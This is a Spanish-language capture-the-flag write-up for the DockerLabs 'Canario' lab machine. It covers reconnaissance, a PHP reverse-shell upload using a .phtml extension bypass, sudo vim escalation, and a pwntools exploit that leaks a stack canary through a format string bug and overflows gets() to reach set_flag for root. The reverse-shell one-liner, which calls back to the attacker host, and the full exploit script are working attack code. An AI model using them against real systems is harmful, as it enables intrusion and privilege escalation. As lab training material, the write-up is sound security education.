> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/canario.md).

# Canario

<details>

<summary>Datos</summary>

* **Máquina** -> Canario
* **Dificultad** -> Difícil
* **Creador** -> [4bytes](https://github.com/4bytess/)

</details>

<figure><img src="/files/P6okVAK4j9q5khyeHDQc" alt=""><figcaption></figcaption></figure>

Después de desplegar el contenedor, podemos usar el comando `ping` para verificar conectividad con el servidor:

```bash
ping -c 1 172.17.0.2 -R
```

<mark style="color:green;">**Resultado**</mark>

```js
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.118 ms
RR: 	172.17.0.1
		172.17.0.2
		172.17.0.2
		172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.118/0.118/0.118/0.000 ms
```

Como podemos ver en el resultado, tenemos conexión con la victima, ademas mediante el TTL podemos intuir contra que tipo de SO nos estamos enfrentando, en este caso Linux.

Lo siguiente que aremos en crear varias carpetas que nos ayudaran a mantener un orden en lo que vallamos encontrando, esto lo aremos con el comando `mkt`:

```js
mkt && tree
```

<mark style="color:green;">**Resultado**</mark>

```js
.
├── auto_deploy.sh
├── canario.tar
├── content
├── recognition
│   ├── fuzzing
│   └── nmap
└── scripts
    ├── exploitDB
    └── GitHub

8 directories, 2 files
```

Nos moveremos a la carpeta `recognition/nmap` y empezaremos en los escaneos:

```js
nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2
```

<mark style="color:green;">**Resultado**</mark>

```js
# Nmap 7.95 scan initiated Fri Mar 14 11:42:09 2025 as: nmap -p- --open -sS --min-rate 5000 -n -v -Pn -sCV -oN targeted.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 14 11:42:16 2025 -- 1 IP address (1 host up) scanned in 7.00 seconds
```

Solo esta el puerto **80** abierto, podemos ir a ver la pagina web para saber que contiene:

<figure><img src="/files/tJe1JhF2H69P00iZxgbG" alt=""><figcaption></figcaption></figure>

Esta es la pagina web que encontramos de primera, tiene una barra donde: **Inicio** nos manda al `index.html` principal, **Contactar** no tiene nada y **Subir archivo** es probablemente y lo único que por ahora podemos explotar, intentemos subir un **RCE**.

<mark style="color:yellow;">**Codigo**</mark>

```php
<?php
system("/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/1234 0>&1'");
?>
```

El nombre del archivo es `rshell.php`, intentemos subir el archivo:

<figure><img src="/files/nRy9YSWhvfePfx5L81Ar" alt=""><figcaption></figcaption></figure>

Al presionar **Subir Archivo**, nos encontramos con lo siguiente:

<figure><img src="/files/JZArYoGpprqmbimaElps" alt=""><figcaption></figcaption></figure>

Deberemos ir probando diferentes extensiones `php`, hasta encontrar una que nos permita subir ejemplo -> `phtml`, quedaría: `rshell.phtml`.

<figure><img src="/files/28R43l9VlA5LJ8TmFoon" alt=""><figcaption></figcaption></figure>

Ahora nos pondremos en escucha en el puerto **1234** en mi caso usando `pwncat-cs`:

<figure><img src="/files/ATHA8T74FHoV6qQOjbcU" alt=""><figcaption></figcaption></figure>

Ahora podemos probar la ruta **uploads** junto con el nombre de nuestro **RCE**:

<figure><img src="/files/ETaz2lXwR1xJfC3woBjl" alt=""><figcaption></figcaption></figure>

```js
http://172.17.0.2/uploads/rshell.phtml
```

Se queda cargando la pagina, pero si nos dirigimos a `pwncat` podremos ver una conexión entrante:

<figure><img src="/files/RQyfQSCLW7mqMBzshUZR" alt=""><figcaption></figcaption></figure>

Ya estamos dentro, ahora intentemos escalar privilegios, `pwncat` tiene muchos módulos de enumeración, usare algunos de ellos antes de entrar a la reverse shell.

<figure><img src="/files/iK1ByNjzOyDzmzLUnV3Q" alt=""><figcaption></figcaption></figure>

Enumero los distintos usuarios del servidor y entro a una **Bash** del servidor para ejecutar el comando `whoami` el cual me dirá que usuario soy:

<figure><img src="/files/aZfOTzQ7LvEv2U5rmWRg" alt=""><figcaption></figcaption></figure>

Podemos ver que hay un usuario llamado **jerry** y que nosotros somos **www-data**.

<figure><img src="/files/K3iQg3f4yy4k5Ky71J9c" alt=""><figcaption></figcaption></figure>

No veo binarios **SUID** útiles por lo cual entrare al servidor para enumerar formas de convertirnos en el usuario **jerry**.

<figure><img src="/files/jg3TS4n5k58ttBtwcYfW" alt=""><figcaption></figcaption></figure>

Enumerando un poco, veo varias cosas interesantes:

* Podemos ejecutar `vim` como el usuario **jerry** sin proporcionar contraseña.
* **jerry** puede ejecutar `/opt/suma` y `/usr/bin/python3 /opt/command_exec/command_exec.py` como **root** sin contraseña.

Usando `searchbins` podemos ver como podemos aprovecharnos de el binario `vim`:

<figure><img src="/files/fDAgmmXhMQ5WlJMTwJ1j" alt=""><figcaption></figcaption></figure>

El comando que usaremos es:

```bash
sudo -u jerry vim -c ':!/bin/bash'
```

<mark style="color:green;">**Resultado**</mark>

<figure><img src="/files/L1ZQ3SV2GCTQvM6FhbhJ" alt=""><figcaption></figcaption></figure>

Ahora debemos buscar una manera de aprovecharnos de los siguientes binarios:

<figure><img src="/files/34vzvhPbVGhxogBQE0n7" alt=""><figcaption></figcaption></figure>

Podemos descargarnos estos binarios para usar **ingeniería inversa**, esto lo podemos hacer mediante el modulo **download**:

<figure><img src="/files/UReNQPZaIHZoEcwVgZIU" alt=""><figcaption></figcaption></figure>

Primero veamos que podemos hacer con el binario `suma`, paso el binario a un contenedor **Kali Linux** el cual tiene todo lo necesario para hacer **ingeniería inversa**:

<figure><img src="/files/8POFQMf0jX6kfFaXfDU7" alt=""><figcaption></figcaption></figure>

Podemos verificar información sobre el binario con el comando `file`:

```bash
file suma
```

<mark style="color:green;">**Resultado**</mark>

```js
suma: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7b738303bcd3d9d31e21e597b0a8a0d14ffc509d, for GNU/Linux 3.2.0, not stripped
```

Como podemos apreciar en la salida del comando, es un binario para **Linux** de 64 bits.

<figure><img src="/files/aZIYqsq2F9LDa6w7OWLM" alt=""><figcaption></figcaption></figure>

Usando `checksec` podemos ver que tiene 2 protecciones:

* **STACK CANARY**: Usa valores aleatorios para detectar sobrescrituras de buffer antes de afectar la ejecución.
* **NX (No eXecute)** -> `NX enabled`: Previene la ejecución de código en segmentos de memoria marcados como datos (como la pila).

Por otro lado podemos ver que no tiene **PIE** por lo cual el binario tiene direcciones de memoria fijas, entonces nos encontramos frente a un **Canary Bypass**.

En cuanto al otro script `command_exec.py` podemos ver que su contenido es el siguiente:

{% code lineNumbers="true" %}

```python
#!/usr/bin/python3

import os, sys

def main():

    with open("/opt/command_exec/flag.txt", "r") as flag_file:

        content = flag_file.readlines()[0]

        if content == "ACTIVE":

            print("Autorizado\n")

            cmd = input("Escribe un comando: ")

            os.system(cmd)

        else:

            print("Denegado")
            sys.exit(1)


if __name__ == '__main__':

    main()
```

{% endcode %}

El script abre el archivo `/opt/command_exec/flag.txt` , y si su contenido es "**ACTIVE**", nos deja ejecutar un comando. El archivo `flag.txt` vale "**INACTIVE**", por lo que no nos deja ejecutar comandos. No tenemos permisos de escritura en el archivo `flag.txt` , ni en `/opt` , por lo que en esta parte no podemos hacer nada por el momento, por lo tanto procedemos a seguir indagando en el binario `suma`:

Si lo ejecutamos podremos ver lo siguiente:

<figure><img src="/files/0qdxIF65gofZDqyoEWSB" alt=""><figcaption></figcaption></figure>

Nos pide un nombre, nos saluda y luego nos pide una clave para acceder posiblemente a una calculadora, ingreso `key`, pero no es correcto, podemos usar el comando `strings` para ver si encontramos la contraseña en los caracteres imprimibles del binario:

```js
strings suma
```

<mark style="color:green;">**Resultado relevante**</mark>

<figure><img src="/files/ZAHiNJfcu2apsGXAfVyP" alt=""><figcaption></figcaption></figure>

Encima de la linea que dice **Acceso garantizado** podemos ver una posible contraseña en texto plano:

```js
x8-_7vjw-0#0l-9.AA$_$p3bA!
```

También podemos ver posibles funcionalidades del binario, donde nos pide **2** números, por ultimo también podemos notar 2 lineas interesantes y posiblemente lo que debamos lograr:

```js
Flag activada
/opt/command_exec/flag.txt
ACTIVE
```

Procedemos a ver el binario con `GDB` y buscar las funciones que contiene el binario:

```js
gdb ./suma -q
```

Dentro de `gdb`:

```js
info functions
```

<mark style="color:green;">**Resultado**</mark>

<figure><img src="/files/mdRNOrpFa7TzXPNLjGuC" alt=""><figcaption></figcaption></figure>

Hay una función llamada `set_flag` que llama la atención, intentemos ver que hace, primero podríamos usar `disas` de `gdbb`:

<figure><img src="/files/ameaO6f3o4DOfLHuY6zG" alt=""><figcaption></figcaption></figure>

Con esto podemos ver en ensamblador, que cosas esta haciendo por detrás, para este caso en particular, tendremos que ir más aya, por lo tanto usaremos `ghidra` para hacer ingeniera inversa:

> Después de crear un proyecto y añadir el binario `suma` a ese proyecto de `ghidra` entraremos al `CodeBrowser`, le diremos que si lo analice de tal forma que quedaría así:

<figure><img src="/files/wJckAHprpIxO063nULvp" alt=""><figcaption></figcaption></figure>

En la parte izquierda buscaremos la ventada que dice `Symbol Tree`, dentro de esa ventana vamos a expandir la carpeta `Functions` y dentro buscaremos la función `set_flag`, cuando lo presionemos, veremos como a la derecha se nos muestra el posible código **c** antes de ser compilado:

<figure><img src="/files/MVVIH7AW3AudJIFvrZi7" alt=""><figcaption></figcaption></figure>

Esta función abre el archivo `/opt/command_exec/flag.txt` y escribe `ACTIVE`. Si pasara esto, podríamos ejecutar el script de `python3` que vimos anteriormente y ejecutar cualquier comando como **root**, pero si ahora vemos la función `main`:

{% code lineNumbers="true" %}

```c

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  int local_168;
  int local_164;
  undefined4 local_15f;
  undefined4 uStack_15b;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setuid(0);
  setgid(0);
  local_15f = 0x616c6f48;
  uStack_15b = CONCAT13(uStack_15b._3_1_,0x202c);
  sVar2 = strcspn((char *)&local_15f,"\n");
  *(undefined *)((long)&local_15f + sVar2) = 0;
  memset(local_118,0,0x100);
  memset((void *)((long)&uStack_15b + 3),0,0x40);
  puts("Escribe su nombre:");
  fgets((char *)((long)&uStack_15b + 3),0x40,stdin);
  printf("%s",&local_15f);
  printf((char *)((long)&uStack_15b + 3));
  puts("\nEscribe la clave para acceder a la funcionalidad del software:");
  gets(local_118);
  iVar1 = strcmp(local_118,"x8-_7vjw-0#0l-9.AA$_$p3bA!");
  if (iVar1 == 0) {
    printf("\nAcceso garantizado");
    puts(&DAT_004020c8);
    printf(&DAT_004020f6);
    __isoc99_scanf(&DAT_00402112,&local_168);
    printf(&DAT_00402115);
    __isoc99_scanf(&DAT_00402112,&local_164);
    printf("Resultado: %d",(ulong)(uint)(local_164 + local_168));
  }
  else {
    printf("Acceso denegado");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

{% endcode %}

Notaremos que nunca se llama a la función `set_flag`, de tal modo que debemos buscar la manera de llamar a esta función mediante una vulnerabilidad presente en el binario, viendo la función `main`, que nos muestra `ghidra`, podremos notar lo siguiente:

```c
  puts("\nEscribe la clave para acceder a la funcionalidad del software:");
  gets(local_118);
```

La variable donde nos pide la clave se guarda con `gets` el cual es vulnerable a **Buffer Overflow**.

**Problema**: El binario tiene canarios, esto impide que explotemos el **Buffer Overflow** de forma convencional.

**¿Por qué?**: Si hacemos lo anterior, se va a llamar a una función especial que va a terminar rápidamente la ejecución del programa.

Esto ocurre porque en el `stack`, se almacena un canario al inicio de `main()` y se le da un valor aleatorio, al final de `main()` se comprueba si el canario sigue valiendo el mismo valor, de tal modo que si a cambiado, se llama a la función especial ya que esto significa que se a acontecido un **Buffer Overflow** y se han sobrescrito los datos del `stack`.

**¿Qué podemos hacer?**: Si de alguna manera lográramos leer datos del `stack` antes de que se llame a `gets()` podríamos **bypassear** el canario.

**¿Qué haremos?**: El primer `input` se almacena de forma segura, pero luego se llama a:

```c
printf("%s",&local_15f);
printf((char *)((long)&uStack_15b + 3))
```

> La primera línea está bien, el problema es la segunda línea, usa la entrada del usuario directamente sin especificar un formato seguro.

Se le pasa como primer argumento el `input`, esto origina una **Format String Vulnerability**, ya que `printf()` toma el `input` como formato. Esto nos permite incluir especificadores de formato, como:

```c
%s , %p ...
```

Vamos a probar lo siguiente, como nombre pasaremos `%p`:

<figure><img src="/files/H1Ly0MgyFwRswC9vfEN5" alt=""><figcaption></figcaption></figure>

Lo que nos devuelve:

```c
Hola, 0x202c616c
```

**¿Qué paso?**: Se llamo a `printf("%p")`, por lo que se espera un segundo parámetro que sea un puntero, pero como no hay, ese valor se saca del `stack`, de esta manera podemos ir leyendo uno a uno los datos del `stack`, **Ejemplo** -> `%1$p`, `%2$p`...

Sabiendo esto, podemos crear un script que haga **Fuzzing** y lea `x` valores del `stack`, con el objetivo de buscar cual podría ser el canario y así quedarnos con la posición de este, luego al acontecer el **Buffer Overflow** poder sobrescribir el canario del `stack` con su valor inicial.

<mark style="color:yellow;">**fuzzing.sh**</mark>

{% code lineNumbers="true" %}

```bash
#!/bin/bash

for i in $(seq 1 100); do
    resultado=$(echo "%${i}\$p" | ./$1 2>/dev/null)
    direccion=$(echo "$resultado" | grep -oP "Hola, \K0x[0-9a-fA-F]+")
    if [ -n "$direccion" ]; then
        echo "[+] -> $i : $direccion"
    fi
done
```

{% endcode %}

Con este script, leemos 100 valores del `stack`, el siguiente paso es identificar el **canario** lo cual no es tan difícil, ya que el **canario** suelen acabar en `00`, ademas de que son números aleatorios, a diferencia de las direcciones de `libc` que suelen ser `0x7ff`, sabiendo esto podemos agregar una ultima línea a nuestro script y filtrar lo que queremos con `grep`.

<mark style="color:yellow;">**Código final**</mark>

{% code lineNumbers="true" %}

```bash
#!/bin/bash

for i in $(seq 1 100); do
    resultado=$(echo "%${i}\$p" | ./$1 2>/dev/null)
    direccion=$(echo "$resultado" | grep -oP "Hola, \K0x[0-9a-fA-F]+")
    if [ -n "$direccion" ]; then
        echo "[+] -> $i : $direccion" | grep -oE ".*?[0-9a-f]{14}00"
    fi
done
```

{% endcode %}

<mark style="color:green;">**Resultado**</mark>

<figure><img src="/files/gGVUHTLWz5hBbI826HGo" alt=""><figcaption></figcaption></figure>

Nos arroja 2 resultados, podemos elegir cualquiera aunque tenga valores distintos, ya que en tiempo de ejecución acaban valiendo lo mismo.

Lo siguiente que necesitamos para que se acontezca el **Buffer Overflow**, es el `offset` para sobrescribir el **canario** y el `offset` para sobrescribir la dirección de retorno, estos valores ya los vimos en la función `main()` dentro de `ghidra`:

<mark style="color:yellow;">**Lineas importantes de**</mark><mark style="color:yellow;">**&#x20;**</mark><mark style="color:yellow;">**`main()`**</mark>

```c
char local_118 [264];
```

<figure><img src="/files/oth2w8ZXtwQ5Sqp9Q2AU" alt=""><figcaption></figcaption></figure>

Podemos ver que el buffer vulnerable es de `264` bytes y es `local_118`, En la imagen podemos ver que este buffer esta en el `offset -0x118`, que son 280 bytes, podemos ver que justo encima del buffer esta `local_10`, que es el canario, lo sabemos porque en el código vemos que esta variable se le da un valor al principio y se comprueba su valor al final y si no es igual se llamada a `stack_chk_fall()`.

{% code lineNumbers="true" %}

```c
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);

...

  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
```

{% endcode %}

Entonces como el canario está encima del buffer, si escribimos 264 bytes, los siguientes 8 bytes sobrescriben el **canario**.

> El **canario** vale **8** bytes porque el binario es de **64** bits, de ser **32** bits el **canario** valdría **4** bytes.

```c
280 - 264 - 8 = 8
```

Es decir que nos quedan otros 8 bytes para llegar a la dirección de retorno, Después de hacer todo esto sabemos que el `offset` para sobrescribir el canario es de **264** y el de sobrescribir el **RIP** es 8.

De tal forma que el exploit final quedaría así:

{% code lineNumbers="true" %}

```python
#!/usr/bin/python3

from pwn import *

def main():

    def start():
        if args.GDB:
            return gdb.debug(filename, gdbscript=gdbscript)
        elif args.REMOTE:
            return remote(sys.argv[1], sys.argv[2])
        else:
            return process(["sudo", filename])
    filename = "/opt/suma"

    elf = context.binary = ELF(filename, checksec=False)
    context.log_level = "error"

    gdbscript = """
    """

    canary_offset = 264
    rip_offset = 8

    p = start()
    p.sendlineafter(b':', b'%69$p')
    p.recvuntil(b'Hola, ')
    canary = int(p.recvline().strip(), 16)

    payload = flat(
            b'A'*canary_offset,
            canary,
            b'A'*rip_offset,
            elf.functions.set_flag
    )

    p.sendlineafter(b':', payload)
    print(p.recvall())
    p.close()


if __name__ == '__main__':
    main()

```

{% endcode %}

En el servidor vulnerado ejecutamos:

```c
pip3 install pwntools --break-system-packages
```

Esto descargara `pwntools` ya que esta librería no esta presente en el servidor, ya por ultimo pasamos el exploit a `/tmp/` y lo ejecutamos, luego ejecutamos el script `command_exec.py` como **root**.

<mark style="color:green;">**Resultado**</mark>

<figure><img src="/files/kdtCmcRNp5shcNAiE3vN" alt=""><figcaption></figcaption></figure>
